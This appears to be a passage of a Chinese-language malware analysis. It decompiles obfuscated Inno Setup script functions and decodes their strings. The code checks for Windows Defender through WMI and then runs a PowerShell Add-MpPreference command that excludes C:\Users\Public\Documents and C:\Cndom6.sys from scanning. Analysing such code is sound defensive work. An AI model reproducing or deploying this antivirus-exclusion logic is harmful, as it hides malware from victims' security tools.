  21.         assign Var9[2], S32(69)
  22.         assign Var9[3], S32(77)
  23.         assign Var9[4], S32(83)
  24.         assign Var9[5], S32(99)
  25.         assign Var9[6], S32(114)
  26.         assign Var9[7], S32(105)
  27.         assign Var9[8], S32(112)
  28.         assign Var9[9], S32(116)
  29.         assign Var9[10], S32(105)
  30.         assign Var9[11], S32(110)
  31.         assign Var9[12], S32(103)
  32.         assign Var9[13], S32(46)
  33.         assign Var9[14], S32(83)
  34.         assign Var9[15], S32(87)
  35.         assign Var9[16], S32(66)
  36.         assign Var9[17], S32(69)
  37.         assign Var9[18], S32(77)
  38.         assign Var9[19], S32(76)
  39.         assign Var9[20], S32(111)
  40.         assign Var9[21], S32(99)
  41.         assign Var9[22], S32(97)
  42.         assign Var9[23], S32(116)
  43.         assign Var9[24], S32(111)
  44.         assign Var9[25], S32(114)
  45.         assign Var8, Var9
  46.         pop ; StackCount = 8
  47.         pushvar Var4 ; StackCount = 9
  48.         call STRFROMCODE
  49.         pop ; StackCount = 8
  50.         pop ; StackCount = 7
  51.         pushtype WideString ; StackCount = 8
  52.         pushtype UnicodeString_2 ; StackCount = 9
  53.         pushtype Type30 ; StackCount = 10
  54.         pushtype Type30 ; StackCount = 11
  55.         pushtype S32 ; StackCount = 12
  56.         assign Var12, S32(4)
  57.         pushvar Var11 ; StackCount = 13
  58.         call SETARRAYLENGTH
  59.         pop ; StackCount = 12
  60.         pop ; StackCount = 11
  61.         assign Var11[0], S32(114)
  62.         assign Var11[1], S32(111)
  63.         assign Var11[2], S32(111)
  64.         assign Var11[3], S32(116)
  65.         assign Var10, Var11
  66.         pop ; StackCount = 10
  67.         pushvar Var9 ; StackCount = 11
  68.         call STRFROMCODE
  69.         pop ; StackCount = 10
  70.         pop ; StackCount = 9
  71.         assign Var8, Var9
  72.         pop ; StackCount = 8
  73.         pushtype UnicodeString_2 ; StackCount = 9
  74.         pushtype Type30 ; StackCount = 10
  75.         pushtype Type30 ; StackCount = 11
  76.         pushtype S32 ; StackCount = 12
  77.         assign Var12, S32(1)
  78.         pushvar Var11 ; StackCount = 13
  79.         call SETARRAYLENGTH
  80.         pop ; StackCount = 12
  81.         pop ; StackCount = 11
  82.         assign Var11[0], S32(92)
  83.         assign Var10, Var11
  84.         pop ; StackCount = 10
  85.         pushvar Var9 ; StackCount = 11
  86.         call STRFROMCODE
  87.         pop ; StackCount = 10
  88.         pop ; StackCount = 9
  89.         add Var8, Var9
  90.         pop ; StackCount = 8
  91.         pushtype UnicodeString_2 ; StackCount = 9
  92.         pushtype Type30 ; StackCount = 10
  93.         pushtype Type30 ; StackCount = 11
  94.         pushtype S32 ; StackCount = 12
  95.         assign Var12, S32(5)
  96.         pushvar Var11 ; StackCount = 13
  97.         call SETARRAYLENGTH
  98.         pop ; StackCount = 12
  99.         pop ; StackCount = 11
  100.         assign Var11[0], S32(99)
  101.         assign Var11[1], S32(105)
  102.         assign Var11[2], S32(109)
  103.         assign Var11[3], S32(118)
  104.         assign Var11[4], S32(50)
  105.         assign Var10, Var11
  106.         pop ; StackCount = 10
  107.         pushvar Var9 ; StackCount = 11
  108.         call STRFROMCODE
  109.         pop ; StackCount = 10
  110.         pop ; StackCount = 9
  111.         add Var8, Var9
  112.         pop ; StackCount = 8
  113.         assign Var5, Var8
  114.         pop ; StackCount = 7
  115.         pushtype Type30 ; StackCount = 8
  116.         pushtype Type30 ; StackCount = 9
  117.         pushtype S32 ; StackCount = 10
  118.         assign Var10, S32(11)
  119.         pushvar Var9 ; StackCount = 11
  120.         call SETARRAYLENGTH
  121.         pop ; StackCount = 10
  122.         pop ; StackCount = 9
  123.         assign Var9[0], S32(77)
  124.         assign Var9[1], S32(115)
  125.         assign Var9[2], S32(77)
  126.         assign Var9[3], S32(112)
  127.         assign Var9[4], S32(69)
  128.         assign Var9[5], S32(110)
  129.         assign Var9[6], S32(103)
  130.         assign Var9[7], S32(46)
  131.         assign Var9[8], S32(101)
  132.         assign Var9[9], S32(120)
  133.         assign Var9[10], S32(101)
  134.         assign Var8, Var9
  135.         pop ; StackCount = 8
  136.         pushvar Var6 ; StackCount = 9
  137.         call STRFROMCODE
  138.         pop ; StackCount = 8
  139.         pop ; StackCount = 7
  140.         pushtype WideString ; StackCount = 8
  141.         pushtype UnicodeString_2 ; StackCount = 9
  142.         pushtype Type30 ; StackCount = 10
  143.         pushtype Type30 ; StackCount = 11
  144.         pushtype S32 ; StackCount = 12
  145.         assign Var12, S32(40)
  146.         pushvar Var11 ; StackCount = 13
  147.         call SETARRAYLENGTH
  148.         pop ; StackCount = 12
  149.         pop ; StackCount = 11
  150.         assign Var11[0], S32(83)
  151.         assign Var11[1], S32(69)
  152.         assign Var11[2], S32(76)
  153.         assign Var11[3], S32(69)
  154.         assign Var11[4], S32(67)
  155.         assign Var11[5], S32(84)
  156.         assign Var11[6], S32(32)
  157.         assign Var11[7], S32(42)
  158.         assign Var11[8], S32(32)
  159.         assign Var11[9], S32(70)
  160.         assign Var11[10], S32(82)
  161.         assign Var11[11], S32(79)
  162.         assign Var11[12], S32(77)
  163.         assign Var11[13], S32(32)
  164.         assign Var11[14], S32(87)
  165.         assign Var11[15], S32(105)
  166.         assign Var11[16], S32(110)
  167.         assign Var11[17], S32(51)
  168.         assign Var11[18], S32(50)
  169.         assign Var11[19], S32(95)
  170.         assign Var11[20], S32(80)
  171.         assign Var11[21], S32(114)
  172.         assign Var11[22], S32(111)
  173.         assign Var11[23], S32(99)
  174.         assign Var11[24], S32(101)
  175.         assign Var11[25], S32(115)
  176.         assign Var11[26], S32(115)
  177.         assign Var11[27], S32(32)
  178.         assign Var11[28], S32(87)
  179.         assign Var11[29], S32(72)
  180.         assign Var11[30], S32(69)
  181.         assign Var11[31], S32(82)
  182.         assign Var11[32], S32(69)
  183.         assign Var11[33], S32(32)
  184.         assign Var11[34], S32(78)
  185.         assign Var11[35], S32(97)
  186.         assign Var11[36], S32(109)
  187.         assign Var11[37], S32(101)
  188.         assign Var11[38], S32(61)
  189.         assign Var11[39], S32(34)
  190.         assign Var10, Var11
  191.         pop ; StackCount = 10
  192.         pushvar Var9 ; StackCount = 11
  193.         call STRFROMCODE
  194.         pop ; StackCount = 10
  195.         pop ; StackCount = 9
  196.         assign Var8, Var9
  197.         pop ; StackCount = 8
  198.         add Var8, Var6
  199.         pushtype UnicodeString_2 ; StackCount = 9
  200.         pushtype Type30 ; StackCount = 10
  201.         pushtype Type30 ; StackCount = 11
  202.         pushtype S32 ; StackCount = 12
  203.         assign Var12, S32(1)
  204.         pushvar Var11 ; StackCount = 13
  205.         call SETARRAYLENGTH
  206.         pop ; StackCount = 12
  207.         pop ; StackCount = 11
  208.         assign Var11[0], S32(34)
  209.         assign Var10, Var11
  210.         pop ; StackCount = 10
  211.         pushvar Var9 ; StackCount = 11
  212.         call STRFROMCODE
  213.         pop ; StackCount = 10
  214.         pop ; StackCount = 9
  215.         add Var8, Var9
  216.         pop ; StackCount = 8
  217.         assign Var7, Var8
  218.         pop ; StackCount = 7
  219.         pushtype IDISPATCH ; StackCount = 8
  220.         pushtype UnicodeString_2 ; StackCount = 9
  221.         assign Var9, Var4
  222.         pushvar Var8 ; StackCount = 10
  223.         call CREATEOLEOBJECT
  224.         pop ; StackCount = 9
  225.         pop ; StackCount = 8
  226.         assign Var1, Var8
  227.         pop ; StackCount = 7
  228.         pushtype !OPENARRAYOFVARIANT ; StackCount = 8
  229.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  230.         pushtype S32 ; StackCount = 10
  231.         assign Var10, S32(2)
  232.         pushvar Var9 ; StackCount = 11
  233.         call SETARRAYLENGTH
  234.         pop ; StackCount = 10
  235.         pop ; StackCount = 9
  236.         assign Var9[0], String_3("")
  237.         assign Var9[1], Var5
  238.         assign Var8, Var9
  239.         pop ; StackCount = 8
  240.         pushtype String_3 ; StackCount = 9
  241.         assign Var9, String_3("ConnectServer")
  242.         pushtype BOOLEAN ; StackCount = 10
  243.         assign Var10, BOOLEAN(0)
  244.         pushtype IDISPATCH ; StackCount = 11
  245.         assign Var11, Var1
  246.         pushvar Var2 ; StackCount = 12
  247.         call IDISPATCHINVOKE
  248.         pop ; StackCount = 11
  249.         pop ; StackCount = 10
  250.         pop ; StackCount = 9
  251.         pop ; StackCount = 8
  252.         pop ; StackCount = 7
  253.         pushtype !OPENARRAYOFVARIANT ; StackCount = 8
  254.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  255.         pushtype S32 ; StackCount = 10
  256.         assign Var10, S32(1)
  257.         pushvar Var9 ; StackCount = 11
  258.         call SETARRAYLENGTH
  259.         pop ; StackCount = 10
  260.         pop ; StackCount = 9
  261.         assign Var9[0], Var7
  262.         assign Var8, Var9
  263.         pop ; StackCount = 8
  264.         pushtype String_3 ; StackCount = 9
  265.         assign Var9, String_3("ExecQuery")
  266.         pushtype BOOLEAN ; StackCount = 10
  267.         assign Var10, BOOLEAN(0)
  268.         pushtype IDISPATCH ; StackCount = 11
  269.         assign Var11, Var2
  270.         pushvar Var3 ; StackCount = 12
  271.         call IDISPATCHINVOKE
  272.         pop ; StackCount = 11
  273.         pop ; StackCount = 10
  274.         pop ; StackCount = 9
  275.         pop ; StackCount = 8
  276.         pop ; StackCount = 7
  277.         pushtype Variant ; StackCount = 8
  278.         pushtype !OPENARRAYOFVARIANT ; StackCount = 9
  279.         pushtype !OPENARRAYOFVARIANT ; StackCount = 10
  280.         pushtype S32 ; StackCount = 11
  281.         assign Var11, S32(0)
  282.         pushvar Var10 ; StackCount = 12
  283.         call SETARRAYLENGTH
  284.         pop ; StackCount = 11
  285.         pop ; StackCount = 10
  286.         assign Var9, Var10
  287.         pop ; StackCount = 9
  288.         pushtype String_3 ; StackCount = 10
  289.         assign Var10, String_3("Count")
  290.         pushtype BOOLEAN ; StackCount = 11
  291.         assign Var11, BOOLEAN(0)
  292.         pushtype IDISPATCH ; StackCount = 12
  293.         assign Var12, Var3
  294.         pushvar Var8 ; StackCount = 13
  295.         call IDISPATCHINVOKE
  296.         pop ; StackCount = 12
  297.         pop ; StackCount = 11
  298.         pop ; StackCount = 10
  299.         pop ; StackCount = 9
  300.         pop ; StackCount = 8
  301.         gt RetVal, Var8, S32(0)
  302.         pop ; StackCount = 7
  303.         endtry
  304. loc_b35:
  305.         assign RetVal, BOOLEAN(0)
  306.         endcatch
  307. loc_b43:
  308.         ret
复制代码

以下是所有ASCII码数组的还原结果:

1. 第一个数组(26字节)
ASCII码:87, 66, 69, 77, 83, 99, 114, 105, 112, 116, 105, 110, 103, 46, 83, 87, 66, 69, 77, 76, 111, 99, 97, 116, 111, 114
字符串:"WBEMScripting.SWBEMLocator"

2. 第二个数组(4字节)
ASCII码:114, 111, 111, 116
字符串:"root"

3. 第三个数组(1字节)
ASCII码:92
字符串:"\"

4. 第四个数组(5字节)
ASCII码:99, 105, 109, 118, 50
字符串:"cimv2"

5. 第五个数组(11字节)
ASCII码:77, 115, 77, 112, 69, 110, 103, 46, 101, 120, 101
字符串:"MsMpEng.exe"

6. 第六个数组(40字节)
ASCII码:83, 69, 76, 69, 67, 84, 32, 42, 32, 70, 82, 79, 77, 32, 87, 105, 110, 51, 50, 95, 80, 114, 111, 99, 101, 115, 115, 32, 87, 72, 69, 82, 69, 32, 78, 97, 109, 101, 61, 34
字符串:"SELECT * FROM Win32_Process WHERE Name=\""

7. 第七个数组(1字节)
ASCII码:34
字符串:"\""

这个函数通过WMI查询检查Windows Defender进程(MsMpEng.exe)是否在运行。它构建WQL查询语句:SELECT * FROM Win32_Process WHERE Name="MsMpEng.exe"
如果查询返回结果计数大于0,则返回True,表示Windows Defender进程在运行。


再看"ADDDEFENDEREXCLUSION"函数:
  1. .function(export) void ADDDEFENDEREXCLUSION()
  2.         pushtype S32 ; StackCount = 1
  3.         pushtype UnicodeString_2 ; StackCount = 2
  4.         pushtype UnicodeString_2 ; StackCount = 3
  5.         pushtype UnicodeString_2 ; StackCount = 4
  6.         pushtype BOOLEAN ; StackCount = 5
  7.         pushvar Var5 ; StackCount = 6
  8.         call ISDEFENDERRUNNING
  9.         pop ; StackCount = 5
  10.         sfz Var5
  11.         pop ; StackCount = 4
  12.         jf loc_ead
  13.         pushtype Type30 ; StackCount = 5
  14.         pushtype Type30 ; StackCount = 6
  15.         pushtype S32 ; StackCount = 7
  16.         assign Var7, S32(14)
  17.         pushvar Var6 ; StackCount = 8
  18.         call SETARRAYLENGTH
  19.         pop ; StackCount = 7
  20.         pop ; StackCount = 6
  21.         assign Var6[0], S32(112)
  22.         assign Var6[1], S32(111)
  23.         assign Var6[2], S32(119)
  24.         assign Var6[3], S32(101)
  25.         assign Var6[4], S32(114)
  26.         assign Var6[5], S32(115)
  27.         assign Var6[6], S32(104)
  28.         assign Var6[7], S32(101)
  29.         assign Var6[8], S32(108)
  30.         assign Var6[9], S32(108)
  31.         assign Var6[10], S32(46)
  32.         assign Var6[11], S32(101)
  33.         assign Var6[12], S32(120)
  34.         assign Var6[13], S32(101)
  35.         assign Var5, Var6
  36.         pop ; StackCount = 5
  37.         pushvar Var2 ; StackCount = 6
  38.         call STRFROMCODE
  39.         pop ; StackCount = 5
  40.         pop ; StackCount = 4
  41.         pushtype Type30 ; StackCount = 5
  42.         pushtype Type30 ; StackCount = 6
  43.         pushtype S32 ; StackCount = 7
  44.         assign Var7, S32(8)
  45.         pushvar Var6 ; StackCount = 8
  46.         call SETARRAYLENGTH
  47.         pop ; StackCount = 7
  48.         pop ; StackCount = 6
  49.         assign Var6[0], S32(45)
  50.         assign Var6[1], S32(67)
  51.         assign Var6[2], S32(111)
  52.         assign Var6[3], S32(109)
  53.         assign Var6[4], S32(109)
  54.         assign Var6[5], S32(97)
  55.         assign Var6[6], S32(110)
  56.         assign Var6[7], S32(100)
  57.         assign Var5, Var6
  58.         pop ; StackCount = 5
  59.         pushvar Var3 ; StackCount = 6
  60.         call STRFROMCODE
  61.         pop ; StackCount = 5
  62.         pop ; StackCount = 4
  63.         pushtype Type30 ; StackCount = 5
  64.         pushtype Type30 ; StackCount = 6
  65.         pushtype S32 ; StackCount = 7
  66.         assign Var7, S32(1)
  67.         pushvar Var6 ; StackCount = 8
  68.         call SETARRAYLENGTH
  69.         pop ; StackCount = 7
  70.         pop ; StackCount = 6
  71.         assign Var6[0], S32(34)
  72.         assign Var5, Var6
  73.         pop ; StackCount = 5
  74.         pushvar Var4 ; StackCount = 6
  75.         call STRFROMCODE
  76.         pop ; StackCount = 5
  77.         pop ; StackCount = 4
  78.         pushtype WideString ; StackCount = 5
  79.         assign Var5, Var4
  80.         pushtype UnicodeString_2 ; StackCount = 6
  81.         pushtype Type30 ; StackCount = 7
  82.         pushtype Type30 ; StackCount = 8
  83.         pushtype S32 ; StackCount = 9
  84.         assign Var9, S32(16)
  85.         pushvar Var8 ; StackCount = 10
  86.         call SETARRAYLENGTH
  87.         pop ; StackCount = 9
  88.         pop ; StackCount = 8
  89.         assign Var8[0], S32(65)
  90.         assign Var8[1], S32(100)
  91.         assign Var8[2], S32(100)
  92.         assign Var8[3], S32(45)
  93.         assign Var8[4], S32(77)
  94.         assign Var8[5], S32(112)
  95.         assign Var8[6], S32(80)
  96.         assign Var8[7], S32(114)
  97.         assign Var8[8], S32(101)
  98.         assign Var8[9], S32(102)
  99.         assign Var8[10], S32(101)
  100.         assign Var8[11], S32(114)
  101.         assign Var8[12], S32(101)
  102.         assign Var8[13], S32(110)
  103.         assign Var8[14], S32(99)
  104.         assign Var8[15], S32(101)
  105.         assign Var7, Var8
  106.         pop ; StackCount = 7
  107.         pushvar Var6 ; StackCount = 8
  108.         call STRFROMCODE
  109.         pop ; StackCount = 7
  110.         pop ; StackCount = 6
  111.         add Var5, Var6
  112.         pop ; StackCount = 5
  113.         assign Var4, Var5
  114.         pop ; StackCount = 4
  115.         pushtype WideString ; StackCount = 5
  116.         assign Var5, Var4
  117.         pushtype UnicodeString_2 ; StackCount = 6
  118.         pushtype Type30 ; StackCount = 7
  119.         pushtype Type30 ; StackCount = 8
  120.         pushtype S32 ; StackCount = 9
  121.         assign Var9, S32(1)
  122.         pushvar Var8 ; StackCount = 10
  123.         call SETARRAYLENGTH
  124.         pop ; StackCount = 9
  125.         pop ; StackCount = 8
  126.         assign Var8[0], S32(32)
  127.         assign Var7, Var8
  128.         pop ; StackCount = 7
  129.         pushvar Var6 ; StackCount = 8
  130.         call STRFROMCODE
  131.         pop ; StackCount = 7
  132.         pop ; StackCount = 6
  133.         add Var5, Var6
  134.         pop ; StackCount = 5
  135.         assign Var4, Var5
  136.         pop ; StackCount = 4
  137.         pushtype WideString ; StackCount = 5
  138.         assign Var5, Var4
  139.         pushtype UnicodeString_2 ; StackCount = 6
  140.         pushtype Type30 ; StackCount = 7
  141.         pushtype Type30 ; StackCount = 8
  142.         pushtype S32 ; StackCount = 9
  143.         assign Var9, S32(14)
  144.         pushvar Var8 ; StackCount = 10
  145.         call SETARRAYLENGTH
  146.         pop ; StackCount = 9
  147.         pop ; StackCount = 8
  148.         assign Var8[0], S32(45)
  149.         assign Var8[1], S32(69)
  150.         assign Var8[2], S32(120)
  151.         assign Var8[3], S32(99)
  152.         assign Var8[4], S32(108)
  153.         assign Var8[5], S32(117)
  154.         assign Var8[6], S32(115)
  155.         assign Var8[7], S32(105)
  156.         assign Var8[8], S32(111)
  157.         assign Var8[9], S32(110)
  158.         assign Var8[10], S32(80)
  159.         assign Var8[11], S32(97)
  160.         assign Var8[12], S32(116)
  161.         assign Var8[13], S32(104)
  162.         assign Var7, Var8
  163.         pop ; StackCount = 7
  164.         pushvar Var6 ; StackCount = 8
  165.         call STRFROMCODE
  166.         pop ; StackCount = 7
  167.         pop ; StackCount = 6
  168.         add Var5, Var6
  169.         pop ; StackCount = 5
  170.         assign Var4, Var5
  171.         pop ; StackCount = 4
  172.         pushtype WideString ; StackCount = 5
  173.         assign Var5, Var4
  174.         pushtype UnicodeString_2 ; StackCount = 6
  175.         pushtype Type30 ; StackCount = 7
  176.         pushtype Type30 ; StackCount = 8
  177.         pushtype S32 ; StackCount = 9
  178.         assign Var9, S32(1)
  179.         pushvar Var8 ; StackCount = 10
  180.         call SETARRAYLENGTH
  181.         pop ; StackCount = 9
  182.         pop ; StackCount = 8
  183.         assign Var8[0], S32(32)
  184.         assign Var7, Var8
  185.         pop ; StackCount = 7
  186.         pushvar Var6 ; StackCount = 8
  187.         call STRFROMCODE
  188.         pop ; StackCount = 7
  189.         pop ; StackCount = 6
  190.         add Var5, Var6
  191.         pop ; StackCount = 5
  192.         assign Var4, Var5
  193.         pop ; StackCount = 4
  194.         pushtype WideString ; StackCount = 5
  195.         assign Var5, Var4
  196.         pushtype UnicodeString_2 ; StackCount = 6
  197.         pushtype Type30 ; StackCount = 7
  198.         pushtype Type30 ; StackCount = 8
  199.         pushtype S32 ; StackCount = 9
  200.         assign Var9, S32(1)
  201.         pushvar Var8 ; StackCount = 10
  202.         call SETARRAYLENGTH
  203.         pop ; StackCount = 9
  204.         pop ; StackCount = 8
  205.         assign Var8[0], S32(39)
  206.         assign Var7, Var8
  207.         pop ; StackCount = 7
  208.         pushvar Var6 ; StackCount = 8
  209.         call STRFROMCODE
  210.         pop ; StackCount = 7
  211.         pop ; StackCount = 6
  212.         add Var5, Var6
  213.         pop ; StackCount = 5
  214.         pushtype UnicodeString_2 ; StackCount = 6
  215.         pushtype Type30 ; StackCount = 7
  216.         pushtype Type30 ; StackCount = 8
  217.         pushtype S32 ; StackCount = 9
  218.         assign Var9, S32(25)
  219.         pushvar Var8 ; StackCount = 10
  220.         call SETARRAYLENGTH
  221.         pop ; StackCount = 9
  222.         pop ; StackCount = 8
  223.         assign Var8[0], S32(67)
  224.         assign Var8[1], S32(58)
  225.         assign Var8[2], S32(92)
  226.         assign Var8[3], S32(85)
  227.         assign Var8[4], S32(115)
  228.         assign Var8[5], S32(101)
  229.         assign Var8[6], S32(114)
  230.         assign Var8[7], S32(115)
  231.         assign Var8[8], S32(92)
  232.         assign Var8[9], S32(80)
  233.         assign Var8[10], S32(117)
  234.         assign Var8[11], S32(98)
  235.         assign Var8[12], S32(108)
  236.         assign Var8[13], S32(105)
  237.         assign Var8[14], S32(99)
  238.         assign Var8[15], S32(92)
  239.         assign Var8[16], S32(68)
  240.         assign Var8[17], S32(111)
  241.         assign Var8[18], S32(99)
  242.         assign Var8[19], S32(117)
  243.         assign Var8[20], S32(109)
  244.         assign Var8[21], S32(101)
  245.         assign Var8[22], S32(110)
  246.         assign Var8[23], S32(116)
  247.         assign Var8[24], S32(115)
  248.         assign Var7, Var8
  249.         pop ; StackCount = 7
  250.         pushvar Var6 ; StackCount = 8
  251.         call STRFROMCODE
  252.         pop ; StackCount = 7
  253.         pop ; StackCount = 6
  254.         add Var5, Var6
  255.         pop ; StackCount = 5
  256.         pushtype UnicodeString_2 ; StackCount = 6
  257.         pushtype Type30 ; StackCount = 7
  258.         pushtype Type30 ; StackCount = 8
  259.         pushtype S32 ; StackCount = 9
  260.         assign Var9, S32(1)
  261.         pushvar Var8 ; StackCount = 10
  262.         call SETARRAYLENGTH
  263.         pop ; StackCount = 9
  264.         pop ; StackCount = 8
  265.         assign Var8[0], S32(39)
  266.         assign Var7, Var8
  267.         pop ; StackCount = 7
  268.         pushvar Var6 ; StackCount = 8
  269.         call STRFROMCODE
  270.         pop ; StackCount = 7
  271.         pop ; StackCount = 6
  272.         add Var5, Var6
  273.         pop ; StackCount = 5
  274.         pushtype UnicodeString_2 ; StackCount = 6
  275.         pushtype Type30 ; StackCount = 7
  276.         pushtype Type30 ; StackCount = 8
  277.         pushtype S32 ; StackCount = 9
  278.         assign Var9, S32(1)
  279.         pushvar Var8 ; StackCount = 10
  280.         call SETARRAYLENGTH
  281.         pop ; StackCount = 9
  282.         pop ; StackCount = 8
  283.         assign Var8[0], S32(44)
  284.         assign Var7, Var8
  285.         pop ; StackCount = 7
  286.         pushvar Var6 ; StackCount = 8
  287.         call STRFROMCODE
  288.         pop ; StackCount = 7
  289.         pop ; StackCount = 6
  290.         add Var5, Var6
  291.         pop ; StackCount = 5
  292.         assign Var4, Var5
  293.         pop ; StackCount = 4
  294.         pushtype WideString ; StackCount = 5
  295.         assign Var5, Var4
  296.         pushtype UnicodeString_2 ; StackCount = 6
  297.         pushtype Type30 ; StackCount = 7
  298.         pushtype Type30 ; StackCount = 8
  299.         pushtype S32 ; StackCount = 9
  300.         assign Var9, S32(1)
  301.         pushvar Var8 ; StackCount = 10
  302.         call SETARRAYLENGTH
  303.         pop ; StackCount = 9
  304.         pop ; StackCount = 8
  305.         assign Var8[0], S32(32)
  306.         assign Var7, Var8
  307.         pop ; StackCount = 7
  308.         pushvar Var6 ; StackCount = 8
  309.         call STRFROMCODE
  310.         pop ; StackCount = 7
  311.         pop ; StackCount = 6
  312.         add Var5, Var6
  313.         pop ; StackCount = 5
  314.         assign Var4, Var5
  315.         pop ; StackCount = 4
  316.         pushtype WideString ; StackCount = 5
  317.         assign Var5, Var4
  318.         pushtype UnicodeString_2 ; StackCount = 6
  319.         pushtype Type30 ; StackCount = 7
  320.         pushtype Type30 ; StackCount = 8
  321.         pushtype S32 ; StackCount = 9
  322.         assign Var9, S32(1)
  323.         pushvar Var8 ; StackCount = 10
  324.         call SETARRAYLENGTH
  325.         pop ; StackCount = 9
  326.         pop ; StackCount = 8
  327.         assign Var8[0], S32(39)
  328.         assign Var7, Var8
  329.         pop ; StackCount = 7
  330.         pushvar Var6 ; StackCount = 8
  331.         call STRFROMCODE
  332.         pop ; StackCount = 7
  333.         pop ; StackCount = 6
  334.         add Var5, Var6
  335.         pop ; StackCount = 5
  336.         pushtype UnicodeString_2 ; StackCount = 6
  337.         pushtype Type30 ; StackCount = 7
  338.         pushtype Type30 ; StackCount = 8
  339.         pushtype S32 ; StackCount = 9
  340.         assign Var9, S32(13)
  341.         pushvar Var8 ; StackCount = 10
  342.         call SETARRAYLENGTH
  343.         pop ; StackCount = 9
  344.         pop ; StackCount = 8
  345.         assign Var8[0], S32(67)
  346.         assign Var8[1], S32(58)
  347.         assign Var8[2], S32(92)
  348.         assign Var8[3], S32(67)
  349.         assign Var8[4], S32(110)
  350.         assign Var8[5], S32(100)
  351.         assign Var8[6], S32(111)
  352.         assign Var8[7], S32(109)
  353.         assign Var8[8], S32(54)
  354.         assign Var8[9], S32(46)
  355.         assign Var8[10], S32(115)
  356.         assign Var8[11], S32(121)
  357.         assign Var8[12], S32(115)
  358.         assign Var7, Var8
  359.         pop ; StackCount = 7
  360.         pushvar Var6 ; StackCount = 8
  361.         call STRFROMCODE
  362.         pop ; StackCount = 7
  363.         pop ; StackCount = 6
  364.         add Var5, Var6
  365.         pop ; StackCount = 5
  366.         pushtype UnicodeString_2 ; StackCount = 6
  367.         pushtype Type30 ; StackCount = 7
  368.         pushtype Type30 ; StackCount = 8
  369.         pushtype S32 ; StackCount = 9
  370.         assign Var9, S32(1)
  371.         pushvar Var8 ; StackCount = 10
  372.         call SETARRAYLENGTH
  373.         pop ; StackCount = 9
  374.         pop ; StackCount = 8
  375.         assign Var8[0], S32(39)
  376.         assign Var7, Var8
  377.         pop ; StackCount = 7
  378.         pushvar Var6 ; StackCount = 8
  379.         call STRFROMCODE
  380.         pop ; StackCount = 7
  381.         pop ; StackCount = 6
  382.         add Var5, Var6
  383.         pop ; StackCount = 5
  384.         pushtype UnicodeString_2 ; StackCount = 6
  385.         pushtype Type30 ; StackCount = 7
  386.         pushtype Type30 ; StackCount = 8
  387.         pushtype S32 ; StackCount = 9
  388.         assign Var9, S32(1)
  389.         pushvar Var8 ; StackCount = 10
  390.         call SETARRAYLENGTH
  391.         pop ; StackCount = 9
  392.         pop ; StackCount = 8
  393.         assign Var8[0], S32(34)
  394.         assign Var7, Var8
  395.         pop ; StackCount = 7
  396.         pushvar Var6 ; StackCount = 8
  397.         call STRFROMCODE
  398.         pop ; StackCount = 7
  399.         pop ; StackCount = 6
  400.         add Var5, Var6
  401.         pop ; StackCount = 5
  402.         assign Var4, Var5
  403.         pop ; StackCount = 4
  404.         pushtype BOOLEAN ; StackCount = 5
  405.         pushtype Pointer ; StackCount = 6
  406.         setptr Var6, Var1
  407.         pushtype U8_4 ; StackCount = 7
  408.         assign Var7, U8_4(1)
  409.         pushtype S32 ; StackCount = 8
  410.         assign Var8, S32(0)
  411.         pushtype UnicodeString_2 ; StackCount = 9
  412.         assign Var9, String_3("")
  413.         pushtype UnicodeString_2 ; StackCount = 10
  414.         pushtype WideString ; StackCount = 11
  415.         assign Var11, Var3
  416.         pushtype UnicodeString_2 ; StackCount = 12
  417.         pushtype Type30 ; StackCount = 13
  418.         pushtype Type30 ; StackCount = 14
  419.         pushtype S32 ; StackCount = 15
  420.         assign Var15, S32(1)
  421.         pushvar Var14 ; StackCount = 16
  422.         call SETARRAYLENGTH
  423.         pop ; StackCount = 15
  424.         pop ; StackCount = 14
  425.         assign Var14[0], S32(32)
  426.         assign Var13, Var14
  427.         pop ; StackCount = 13
  428.         pushvar Var12 ; StackCount = 14
  429.         call STRFROMCODE
  430.         pop ; StackCount = 13
  431.         pop ; StackCount = 12
  432.         add Var11, Var12
  433.         pop ; StackCount = 11
  434.         add Var11, Var4
  435.         assign Var10, Var11
  436.         pop ; StackCount = 10
  437.         pushtype UnicodeString_2 ; StackCount = 11
  438.         assign Var11, Var2
  439.         pushvar Var5 ; StackCount = 12
  440.         call EXEC
  441.         pop ; StackCount = 11
  442.         pop ; StackCount = 10
  443.         pop ; StackCount = 9
  444.         pop ; StackCount = 8
  445.         pop ; StackCount = 7
  446.         pop ; StackCount = 6
  447.         pop ; StackCount = 5
  448.         pop ; StackCount = 4
  449.         pushtype S32 ; StackCount = 5
  450.         assign Var5, S32(4000)
  451.         call SLEEP
  452.         pop ; StackCount = 4
  453. loc_ead:
  454.         ret
复制代码

以下是所有ASCII码数组的还原结果:

1. 第一个数组(14字节)
ASCII码:112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 46, 101, 120, 101
字符串:"powershell.exe"

2. 第二个数组(8字节)
ASCII码:45, 67, 111, 109, 109, 97, 110, 100
字符串:"-Command"

3. 第三个数组(1字节)
ASCII码:34
字符串:"\""

4. 第四个数组(16字节)
ASCII码:65, 100, 100, 45, 77, 112, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101
字符串:"Add-MpPreference"

5. 第五个数组(1字节)
ASCII码:32
字符串:" "

6. 第六个数组(14字节)
ASCII码:45, 69, 120, 99, 108, 117, 115, 105, 111, 110, 80, 97, 116, 104
字符串:"-ExclusionPath"

7. 第七个数组(1字节)
ASCII码:32
字符串:" "

8. 第八个数组(1字节)
ASCII码:39
字符串:"'"

9. 第九个数组(25字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115
字符串:"C:\Users\Public\Documents"

10. 第十个数组(1字节)
ASCII码:39
字符串:"'"

11. 第十一个数组(1字节)
ASCII码:44
字符串:","

12. 第十二个数组(1字节)
ASCII码:32
字符串:" "

13. 第十三个数组(1字节)
ASCII码:39
字符串:"'"

14. 第十四个数组(13字节)
ASCII码:67, 58, 92, 67, 110, 100, 111, 109, 54, 46, 115, 121, 115
字符串:"C:\Cndom6.sys"

15. 第十五个数组(1字节)
ASCII码:39
字符串:"'"

16. 第十六个数组(1字节)
ASCII码:34
字符串:"\""

17. 第十七个数组(1字节)
ASCII码:32
字符串:" "

这个函数在Windows Defender运行时,向Windows Defender排除列表添加两个路径:
C:\Users\Public\Documents
C:\Cndom6.sys
最终执行的PowerShell命令:powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents','C:\Cndom6.sys'"
